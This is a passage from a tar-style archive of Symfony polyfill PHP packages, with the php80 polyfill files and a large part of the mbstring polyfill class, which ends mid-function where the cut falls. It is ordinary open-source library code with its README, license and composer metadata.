This component provides `ctype_*` functions to users who run php versions without the ctype extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). symfony/polyfill-php80/Php80.php000064400000006771151676714400012475 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php80; /** * @author Ion Bazan <ion.bazan@gmail.com> * @author Nico Oelgart <nicoswd@gmail.com> * @author Nicolas Grekas <p@tchwork.com> * * @internal */ final class Php80 { public static function fdiv(float $dividend, float $divisor): float { return @($dividend / $divisor); } public static function get_debug_type($value): string { switch (true) { case null === $value: return 'null'; case \is_bool($value): return 'bool'; case \is_string($value): return 'string'; case \is_array($value): return 'array'; case \is_int($value): return 'int'; case \is_float($value): return 'float'; case \is_object($value): break; case $value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class'; default: if (null === $type = @get_resource_type($value)) { return 'unknown'; } if ('Unknown' === $type) { $type = 'closed'; } return "resource ($type)"; } $class = \get_class($value); if (false === strpos($class, '@')) { return $class; } return (get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous'; } public static function get_resource_id($res): int { if (!\is_resource($res) && null === @get_resource_type($res)) { throw new \TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res))); } return (int) $res; } public static function preg_last_error_msg(): string { switch (preg_last_error()) { case \PREG_INTERNAL_ERROR: return 'Internal error'; case \PREG_BAD_UTF8_ERROR: return 'Malformed UTF-8 characters, possibly incorrectly encoded'; case \PREG_BAD_UTF8_OFFSET_ERROR: return 'The offset did not correspond to the beginning of a valid UTF-8 code point'; case \PREG_BACKTRACK_LIMIT_ERROR: return 'Backtrack limit exhausted'; case \PREG_RECURSION_LIMIT_ERROR: return 'Recursion limit exhausted'; case \PREG_JIT_STACKLIMIT_ERROR: return 'JIT stack limit exhausted'; case \PREG_NO_ERROR: return 'No error'; default: return 'Unknown error'; } } public static function str_contains(string $haystack, string $needle): bool { return '' === $needle || false !== strpos($haystack, $needle); } public static function str_starts_with(string $haystack, string $needle): bool { return 0 === strncmp($haystack, $needle, \strlen($needle)); } public static function str_ends_with(string $haystack, string $needle): bool { if ('' === $needle || $needle === $haystack) { return true; } if ('' === $haystack) { return false; } $needleLength = \strlen($needle); return $needleLength <= \strlen($haystack) && 0 === substr_compare($haystack, $needle, -$needleLength); } } symfony/polyfill-php80/composer.json000064400000001765151676714400013605 0ustar00{ "name": "symfony/polyfill-php80", "type": "library", "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", "keywords": ["polyfill", "shim", "compatibility", "portable"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Ion Bazan", "email": "ion.bazan@gmail.com" }, { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.1" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Php80\\": "" }, "files": [ "bootstrap.php" ], "classmap": [ "Resources/stubs" ] }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } symfony/polyfill-php80/PhpToken.php000064400000004211151676714400013311 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php80; /** * @author Fedonyuk Anton <info@ensostudio.ru> * * @internal */ class PhpToken implements \Stringable { /** * @var int */ public $id; /** * @var string */ public $text; /** * @var int */ public $line; /** * @var int */ public $pos; public function __construct(int $id, string $text, int $line = -1, int $position = -1) { $this->id = $id; $this->text = $text; $this->line = $line; $this->pos = $position; } public function getTokenName(): ?string { if ('UNKNOWN' === $name = token_name($this->id)) { $name = \strlen($this->text) > 1 || \ord($this->text) < 32 ? null : $this->text; } return $name; } /** * @param int|string|array $kind */ public function is($kind): bool { foreach ((array) $kind as $value) { if (\in_array($value, [$this->id, $this->text], true)) { return true; } } return false; } public function isIgnorable(): bool { return \in_array($this->id, [\T_WHITESPACE, \T_COMMENT, \T_DOC_COMMENT, \T_OPEN_TAG], true); } public function __toString(): string { return (string) $this->text; } /** * @return static[] */ public static function tokenize(string $code, int $flags = 0): array { $line = 1; $position = 0; $tokens = token_get_all($code, $flags); foreach ($tokens as $index => $token) { if (\is_string($token)) { $id = \ord($token); $text = $token; } else { [$id, $text, $line] = $token; } $tokens[$index] = new static($id, $text, $line, $position); $position += \strlen($text); } return $tokens; } } symfony/polyfill-php80/LICENSE000064400000002054151676714400012060 0ustar00Copyright (c) 2020-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. symfony/polyfill-php80/Resources/stubs/PhpToken.php000064400000000567151676714400016435 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000 && extension_loaded('tokenizer')) { class PhpToken extends Symfony\Polyfill\Php80\PhpToken { } } symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php000064400000000507151676714400020570 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { class UnhandledMatchError extends Error { } } symfony/polyfill-php80/Resources/stubs/ValueError.php000064400000000476151676714400016772 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { class ValueError extends Error { } } symfony/polyfill-php80/Resources/stubs/Stringable.php000064400000000614151676714400016770 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { interface Stringable { /** * @return string */ public function __toString(); } } symfony/polyfill-php80/Resources/stubs/Attribute.php000064400000001360151676714400016640 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ #[Attribute(Attribute::TARGET_CLASS)] final class Attribute { public const TARGET_CLASS = 1; public const TARGET_FUNCTION = 2; public const TARGET_METHOD = 4; public const TARGET_PROPERTY = 8; public const TARGET_CLASS_CONSTANT = 16; public const TARGET_PARAMETER = 32; public const TARGET_ALL = 63; public const IS_REPEATABLE = 64; /** @var int */ public $flags; public function __construct(int $flags = self::TARGET_ALL) { $this->flags = $flags; } } symfony/polyfill-php80/bootstrap.php000064400000002774151676714400013612 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php80 as p; if (\PHP_VERSION_ID >= 80000) { return; } if (!defined('FILTER_VALIDATE_BOOL') && defined('FILTER_VALIDATE_BOOLEAN')) { define('FILTER_VALIDATE_BOOL', \FILTER_VALIDATE_BOOLEAN); } if (!function_exists('fdiv')) { function fdiv(float $num1, float $num2): float { return p\Php80::fdiv($num1, $num2); } } if (!function_exists('preg_last_error_msg')) { function preg_last_error_msg(): string { return p\Php80::preg_last_error_msg(); } } if (!function_exists('str_contains')) { function str_contains(?string $haystack, ?string $needle): bool { return p\Php80::str_contains($haystack ?? '', $needle ?? ''); } } if (!function_exists('str_starts_with')) { function str_starts_with(?string $haystack, ?string $needle): bool { return p\Php80::str_starts_with($haystack ?? '', $needle ?? ''); } } if (!function_exists('str_ends_with')) { function str_ends_with(?string $haystack, ?string $needle): bool { return p\Php80::str_ends_with($haystack ?? '', $needle ?? ''); } } if (!function_exists('get_debug_type')) { function get_debug_type($value): string { return p\Php80::get_debug_type($value); } } if (!function_exists('get_resource_id')) { function get_resource_id($resource): int { return p\Php80::get_resource_id($resource); } } symfony/polyfill-php80/README.md000064400000001627151676714400012337 0ustar00Symfony Polyfill / Php80 ======================== This component provides features added to PHP 8.0 core: - [`Stringable`](https://php.net/stringable) interface - [`fdiv`](https://php.net/fdiv) - [`ValueError`](https://php.net/valueerror) class - [`UnhandledMatchError`](https://php.net/unhandledmatcherror) class - `FILTER_VALIDATE_BOOL` constant - [`get_debug_type`](https://php.net/get_debug_type) - [`PhpToken`](https://php.net/phptoken) class - [`preg_last_error_msg`](https://php.net/preg_last_error_msg) - [`str_contains`](https://php.net/str_contains) - [`str_starts_with`](https://php.net/str_starts_with) - [`str_ends_with`](https://php.net/str_ends_with) - [`get_resource_id`](https://php.net/get_resource_id) More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). symfony/polyfill-mbstring/Mbstring.php000064400000102221151676714400014234 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Mbstring; /** * Partial mbstring implementation in PHP, iconv based, UTF-8 centric. * * Implemented: * - mb_chr - Returns a specific character from its Unicode code point * - mb_convert_encoding - Convert character encoding * - mb_convert_variables - Convert character code in variable(s) * - mb_decode_mimeheader - Decode string in MIME header field * - mb_encode_mimeheader - Encode string for MIME header XXX NATIVE IMPLEMENTATION IS REALLY BUGGED * - mb_decode_numericentity - Decode HTML numeric string reference to character * - mb_encode_numericentity - Encode character to HTML numeric string reference * - mb_convert_case - Perform case folding on a string * - mb_detect_encoding - Detect character encoding * - mb_get_info - Get internal settings of mbstring * - mb_http_input - Detect HTTP input character encoding * - mb_http_output - Set/Get HTTP output character encoding * - mb_internal_encoding - Set/Get internal character encoding * - mb_list_encodings - Returns an array of all supported encodings * - mb_ord - Returns the Unicode code point of a character * - mb_output_handler - Callback function converts character encoding in output buffer * - mb_scrub - Replaces ill-formed byte sequences with substitute characters * - mb_strlen - Get string length * - mb_strpos - Find position of first occurrence of string in a string * - mb_strrpos - Find position of last occurrence of a string in a string * - mb_str_split - Convert a string to an array * - mb_strtolower - Make a string lowercase * - mb_strtoupper - Make a string uppercase * - mb_substitute_character - Set/Get substitution character * - mb_substr - Get part of string * - mb_stripos - Finds position of first occurrence of a string within another, case insensitive * - mb_stristr - Finds first occurrence of a string within another, case insensitive * - mb_strrchr - Finds the last occurrence of a character in a string within another * - mb_strrichr - Finds the last occurrence of a character in a string within another, case insensitive * - mb_strripos - Finds position of last occurrence of a string within another, case insensitive * - mb_strstr - Finds first occurrence of a string within another * - mb_strwidth - Return width of string * - mb_substr_count - Count the number of substring occurrences * - mb_ucfirst - Make a string's first character uppercase * - mb_lcfirst - Make a string's first character lowercase * * Not implemented: * - mb_convert_kana - Convert "kana" one from another ("zen-kaku", "han-kaku" and more) * - mb_ereg_* - Regular expression with multibyte support * - mb_parse_str - Parse GET/POST/COOKIE data and set global variable * - mb_preferred_mime_name - Get MIME charset string * - mb_regex_encoding - Returns current encoding for multibyte regex as string * - mb_regex_set_options - Set/Get the default options for mbregex functions * - mb_send_mail - Send encoded mail * - mb_split - Split multibyte string using regular expression * - mb_strcut - Get part of string * - mb_strimwidth - Get truncated string with specified width * * @author Nicolas Grekas <p@tchwork.com> * * @internal */ final class Mbstring { public const MB_CASE_FOLD = \PHP_INT_MAX; private const SIMPLE_CASE_FOLD = [ ['µ', 'ſ', "\xCD\x85", 'ς', "\xCF\x90", "\xCF\x91", "\xCF\x95", "\xCF\x96", "\xCF\xB0", "\xCF\xB1", "\xCF\xB5", "\xE1\xBA\x9B", "\xE1\xBE\xBE"], ['μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', "\xE1\xB9\xA1", 'ι'], ]; private static $encodingList = ['ASCII', 'UTF-8']; private static $language = 'neutral'; private static $internalEncoding = 'UTF-8'; public static function mb_convert_encoding($s, $toEncoding, $fromEncoding = null) { if (\is_array($s)) { if (PHP_VERSION_ID < 70200) { trigger_error('mb_convert_encoding() expects parameter 1 to be string, array given', \E_USER_WARNING); return null; } $r = []; foreach ($s as $str) { $r[] = self::mb_convert_encoding($str, $toEncoding, $fromEncoding); } return $r; } if (\is_array($fromEncoding) || (null !== $fromEncoding && false !== strpos($fromEncoding, ','))) { $fromEncoding = self::mb_detect_encoding($s, $fromEncoding); } else { $fromEncoding = self::getEncoding($fromEncoding); } $toEncoding = self::getEncoding($toEncoding); if ('BASE64' === $fromEncoding) { $s = base64_decode($s); $fromEncoding = $toEncoding; } if ('BASE64' === $toEncoding) { return base64_encode($s); } if ('HTML-ENTITIES' === $toEncoding || 'HTML' === $toEncoding) { if ('HTML-ENTITIES' === $fromEncoding || 'HTML' === $fromEncoding) { $fromEncoding = 'Windows-1252'; } if ('UTF-8' !== $fromEncoding) { $s = iconv($fromEncoding, 'UTF-8//IGNORE', $s); } return preg_replace_callback('/[\x80-\xFF]+/', [__CLASS__, 'html_encoding_callback'], $s); } if ('HTML-ENTITIES' === $fromEncoding) { $s = html_entity_decode($s, \ENT_COMPAT, 'UTF-8'); $fromEncoding = 'UTF-8'; } return iconv($fromEncoding, $toEncoding.'//IGNORE', $s); } public static function mb_convert_variables($toEncoding, $fromEncoding, &...$vars) { $ok = true; array_walk_recursive($vars, function (&$v) use (&$ok, $toEncoding, $fromEncoding) { if (false === $v = self::mb_convert_encoding($v, $toEncoding, $fromEncoding)) { $ok = false; } }); return $ok ? $fromEncoding : false; } public static function mb_decode_mimeheader($s) { return iconv_mime_decode($s, 2, self::$internalEncoding); } public static function mb_encode_mimeheader($s, $charset = null, $transferEncoding = null, $linefeed = null, $indent = null) { trigger_error('mb_encode_mimeheader() is bugged. Please use iconv_mime_encode() instead', \E_USER_WARNING); } public static function mb_decode_numericentity($s, $convmap, $encoding = null) { if (null !== $s && !\is_scalar($s) && !(\is_object($s) && method_exists($s, '__toString'))) { trigger_error('mb_decode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; } if (!\is_array($convmap) || (80000 > \PHP_VERSION_ID && !$convmap)) { return false; } if (null !== $encoding && !\is_scalar($encoding)) { trigger_error('mb_decode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', \E_USER_WARNING); return ''; // Instead of null (cf. mb_encode_numericentity). } $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } $cnt = floor(\count($convmap) / 4) * 4; for ($i = 0; $i < $cnt; $i += 4) { // collector_decode_htmlnumericentity ignores $convmap[$i + 3] $convmap[$i] += $convmap[$i + 2]; $convmap[$i + 1] += $convmap[$i + 2]; } $s = preg_replace_callback('/&#(?:0*([0-9]+)|x0*([0-9a-fA-F]+))(?!&);?/', function (array $m) use ($cnt, $convmap) { $c = isset($m[2]) ? (int) hexdec($m[2]) : $m[1]; for ($i = 0; $i < $cnt; $i += 4) { if ($c >= $convmap[$i] && $c <= $convmap[$i + 1]) { return self::mb_chr($c - $convmap[$i + 2]); } } return $m[0]; }, $s); if (null === $encoding) { return $s; } return iconv('UTF-8', $encoding.'//IGNORE', $s); } public static function mb_encode_numericentity($s, $convmap, $encoding = null, $is_hex = false) { if (null !== $s && !\is_scalar($s) && !(\is_object($s) && method_exists($s, '__toString'))) { trigger_error('mb_encode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; } if (!\is_array($convmap) || (80000 > \PHP_VERSION_ID && !$convmap)) { return false; } if (null !== $encoding && !\is_scalar($encoding)) { trigger_error('mb_encode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; // Instead of '' (cf. mb_decode_numericentity). } if (null !== $is_hex && !\is_scalar($is_hex)) { trigger_error('mb_encode_numericentity() expects parameter 4 to be boolean, '.\gettype($s).' given', \E_USER_WARNING); return null; } $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; $cnt = floor(\count($convmap) / 4) * 4; $i = 0; $len = \strlen($s); $result = ''; while ($i < $len) { $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; $c = self::mb_ord($uchr); for ($j = 0; $j < $cnt; $j += 4) { if ($c >= $convmap[$j] && $c <= $convmap[$j + 1]) { $cOffset = ($c + $convmap[$j + 2]) & $convmap[$j + 3]; $result .= $is_hex ? sprintf('&#x%X;', $cOffset) : '&#'.$cOffset.';'; continue 2; } } $result .= $uchr; } if (null === $encoding) { return $result; } return iconv('UTF-8', $encoding.'//IGNORE', $result); } public static function mb_convert_case($s, $mode, $encoding = null) { $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } if (\MB_CASE_TITLE == $mode) { static $titleRegexp = null; if (null === $titleRegexp) { $titleRegexp = self::getData('titleCaseRegexp'); } $s = preg_replace_callback($titleRegexp, [__CLASS__, 'title_case'], $s); } else { if (\MB_CASE_UPPER == $mode) { static $upper = null; if (null === $upper) { $upper = self::getData('upperCase'); } $map = $upper; } else { if (self::MB_CASE_FOLD === $mode) { static $caseFolding = null; if (null === $caseFolding) { $caseFolding = self::getData('caseFolding'); } $s = strtr($s, $caseFolding); } static $lower = null; if (null === $lower) { $lower = self::getData('lowerCase'); } $map = $lower; } static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; $i = 0; $len = \strlen($s); while ($i < $len) { $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; if (isset($map[$uchr])) { $uchr = $map[$uchr]; $nlen = \strlen($uchr); if ($nlen == $ulen) { $nlen = $i; do { $s[--$nlen] = $uchr[--$ulen]; } while ($ulen); } else { $s = substr_replace($s, $uchr, $i - $ulen, $ulen); $len += $nlen - $ulen; $i += $nlen - $ulen; } } } } if (null === $encoding) { return $s; } return iconv('UTF-8', $encoding.'//IGNORE', $s); } public static function mb_internal_encoding($encoding = null) { if (null === $encoding) { return self::$internalEncoding; } $normalizedEncoding = self::getEncoding($encoding); if ('UTF-8' === $normalizedEncoding || false !== @iconv($normalizedEncoding, $normalizedEncoding, ' ')) { self::$internalEncoding = $normalizedEncoding; return true; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError(sprintf('Argument #1 ($encoding) must be a valid encoding, "%s" given', $encoding)); } public static function mb_language($lang = null) { if (null === $lang) { return self::$language; } switch ($normalizedLang = strtolower($lang)) { case 'uni': case 'neutral': self::$language = $normalizedLang; return true; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError(sprintf('Argument #1 ($language) must be a valid language, "%s" given', $lang)); } public static function mb_list_encodings() { return ['UTF-8']; } public static function mb_encoding_aliases($encoding) { switch (strtoupper($encoding)) { case 'UTF8': case 'UTF-8': return ['utf8']; } return false; } public static function mb_check_encoding($var = null, $encoding = null) { if (\PHP_VERSION_ID < 70200 && \is_array($var)) { trigger_error('mb_check_encoding() expects parameter 1 to be string, array given', \E_USER_WARNING); return null; } if (null === $encoding) { if (null === $var) { return false; } $encoding = self::$internalEncoding; } if (!\is_array($var)) { return self::mb_detect_encoding($var, [$encoding]) || false !== @iconv($encoding, $encoding, $var); } foreach ($var as $key => $value) { if (!self::mb_check_encoding($key, $encoding)) { return false; } if (!self::mb_check_encoding($value, $encoding)) { return false; } } return true; } public static function mb_detect_encoding($str, $encodingList = null, $strict = false) { if (null === $encodingList) { $encodingList = self::$encodingList; } else { if (!\is_array($encodingList)) { $encodingList = array_map('trim', explode(',', $encodingList)); } $encodingList = array_map('strtoupper', $encodingList); } foreach ($encodingList as $enc) { switch ($enc) { case 'ASCII': if (!preg_match('/[\x80-\xFF]/', $str)) { return $enc; } break; case 'UTF8': case 'UTF-8': if (preg_match('//u', $str)) { return 'UTF-8'; } break; default: if (0 === strncmp($enc, 'ISO-8859-', 9)) { return $enc; } } } return false; } public static function mb_detect_order($encodingList = null) { if (null === $encodingList) { return self::$encodingList; } if (!\is_array($encodingList)) { $encodingList = array_map('trim', explode(',', $encodingList)); } $encodingList = array_map('strtoupper', $encodingList); foreach ($encodingList as $enc) { switch ($enc) { default: if (strncmp($enc, 'ISO-8859-', 9)) { return false; } // no break case 'ASCII': case 'UTF8': case 'UTF-8': } } self::$encodingList = $encodingList; return true; } public static function mb_strlen($s, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return \strlen($s); } return @iconv_strlen($s, $encoding); } public static function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return strpos($haystack, $needle, $offset); } $needle = (string) $needle; if ('' === $needle) { if (80000 > \PHP_VERSION_ID) { trigger_error(__METHOD__.': Empty delimiter', \E_USER_WARNING); return false; } return 0; } return iconv_strpos($haystack, $needle, $offset, $encoding); } public static function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return strrpos($haystack, $needle, $offset); } if ($offset != (int) $offset) { $offset = 0; } elseif ($offset = (int) $offset) { if ($offset < 0) { if (0 > $offset += self::mb_strlen($needle)) { $haystack = self::mb_substr($haystack, 0, $offset, $encoding); } $offset = 0; } else { $haystack = self::mb_substr($haystack, $offset, 2147483647, $encoding); } } $pos = '' !== $needle || 80000 > \PHP_VERSION_ID ? iconv_strrpos($haystack, $needle, $encoding) : self::mb_strlen($haystack, $encoding); return false !== $pos ? $offset + $pos : false; } public static function mb_str_split($string, $split_length = 1, $encoding = null) { if (null !== $string && !\is_scalar($string) && !(\is_object($string) && method_exists($string, '__toString'))) { trigger_error('mb_str_split() expects parameter 1 to be string, '.\gettype($string).' given', \E_USER_WARNING); return null; } if (1 > $split_length = (int) $split_length) { if (80000 > \PHP_VERSION_ID) { trigger_error('The length of each segment must be greater than zero', \E_USER_WARNING); return false; } throw new \ValueError('Argument #2 ($length) must be greater than 0'); } if (null === $encoding) { $encoding = mb_internal_encoding(); } if ('UTF-8' === $encoding = self::getEncoding($encoding)) { $rx = '/('; while (65535 < $split_length) { $rx .= '.{65535}'; $split_length -= 65535; } $rx .= '.{'.$split_length.'})/us'; return preg_split($rx, $string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY); } $result = []; $length = mb_strlen($string, $encoding); for ($i = 0; $i < $length; $i += $split_length) { $result[] = mb_substr($string, $i, $split_length, $encoding); } return $result; } public static function mb_strtolower($s, $encoding = null) { return self::mb_convert_case($s, \MB_CASE_LOWER, $encoding); } public static function mb_strtoupper($s, $encoding = null) { return self::mb_convert_case($s, \MB_CASE_UPPER, $encoding); } public static function mb_substitute_character($c = null) { if (null === $c) { return 'none'; } if (0 === strcasecmp($c, 'none')) { return true; } if (80000 > \PHP_VERSION_ID) { return false; } if (\is_int($c) || 'long' === $c || 'entity' === $c) { return false; } throw new \ValueError('Argument #1 ($substitute_character) must be "none", "long", "entity" or a valid codepoint'); } public static function mb_substr($s, $start, $length = null, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return (string) substr($s, $start, null === $length ? 2147483647 : $length); } if ($start < 0) { $start = iconv_strlen($s, $encoding) + $start; if ($start < 0) { $start = 0; } } if (null === $length) { $length = 2147483647; } elseif ($length < 0) { $length = iconv_strlen($s, $encoding) + $length - $start; if ($length < 0) { return ''; } } return (string) iconv_substr($s, $start, $length, $encoding); } public static function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { [$haystack, $needle] = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], [ self::mb_convert_case($haystack, \MB_CASE_LOWER, $encoding), self::mb_convert_case($needle, \MB_CASE_LOWER, $encoding), ]); return self::mb_strpos($haystack, $needle, $offset, $encoding); } public static function mb_stristr($haystack, $needle, $part = false, $encoding = null) { $pos = self::mb_stripos($haystack, $needle, 0, $encoding); return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strrchr($haystack, $needle, $part = false, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { $pos = strrpos($haystack, $needle); } else { $needle = self::mb_substr($needle, 0, 1, $encoding); $pos = iconv_strrpos($haystack, $needle, $encoding); } return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strrichr($haystack, $needle, $part = false, $encoding = null) { $needle = self::mb_substr($needle, 0, 1, $encoding); $pos = self::mb_strripos($haystack, $needle, $encoding); return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { $haystack = self::mb_convert_case($haystack, \MB_CASE_LOWER, $encoding); $needle = self::mb_convert_case($needle, \MB_CASE_LOWER, $encoding); $haystack = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], $haystack); $needle = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], $needle); return self::mb_strrpos($haystack, $needle, $offset, $encoding); } public static function mb_strstr($haystack, $needle, $part = false, $encoding = null) { $pos = strpos($haystack, $needle); if (false === $pos) { return false; } if ($part) { return substr($haystack, 0, $pos); } return substr($haystack, $pos); } public static function mb_get_info($type = 'all') { $info = [ 'internal_encoding' => self::$internalEncoding, 'http_output' => 'pass', 'http_output_conv_mimetypes' => '^(text/|application/xhtml\+xml)', 'func_overload' => 0, 'func_overload_list' => 'no overload', 'mail_charset' => 'UTF-8', 'mail_header_encoding' => 'BASE64', 'mail_body_encoding' => 'BASE64', 'illegal_chars' => 0, 'encoding_translation' => 'Off', 'language' => self::$language, 'detect_order' => self::$encodingList, 'substitute_character' => 'none', 'strict_detection' => 'Off', ]; if ('all' === $type) { return $info; } if (isset($info[$type])) { return $info[$type]; } return false; } public static function mb_http_input($type = '') { return false; } public static function mb_http_output($encoding = null) { return null !== $encoding ? 'pass' === $encoding : 'pass'; } public static function mb_strwidth($s, $encoding = null) { $encoding = self::getEncoding($encoding); if ('UTF-8' !== $encoding) { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } $s = preg_replace('/[\x{1100}-\x{115F}\x{2329}\x{232A}\x{2E80}-\x{303E}\x{3040}-\x{A4CF}\x{AC00}-\x{D7A3}\x{F900}-\x{FAFF}\x{FE10}-\x{FE19}\x{FE30}-\x{FE6F}\x{FF00}-\x{FF60}\x{FFE0}-\x{FFE6}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}]/u', '', $s, -1, $wide); return ($wide << 1) + iconv_strlen($s, 'UTF-8'); } public static function mb_substr_count($haystack, $needle, $encoding = null) { return substr_count($haystack, $needle); } public static function mb_output_handler($contents, $status) { return $contents; } public static function mb_chr($code, $encoding = null) { if (0x80 > $code %= 0x200000) { $s = \chr($code); } elseif (0x800 > $code) { $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); } elseif (0x10000 > $code) { $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } else { $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { $s = mb_convert_encoding($s, $encoding, 'UTF-8'); } return $s; } public static function mb_ord($s, $encoding = null) { if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { $s = mb_convert_encoding($s, 'UTF-8', $encoding); } if (1 === \strlen($s)) { return \ord($s); } $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; if (0xF0 <= $code) { return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; } if (0xE0 <= $code) { return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; } if 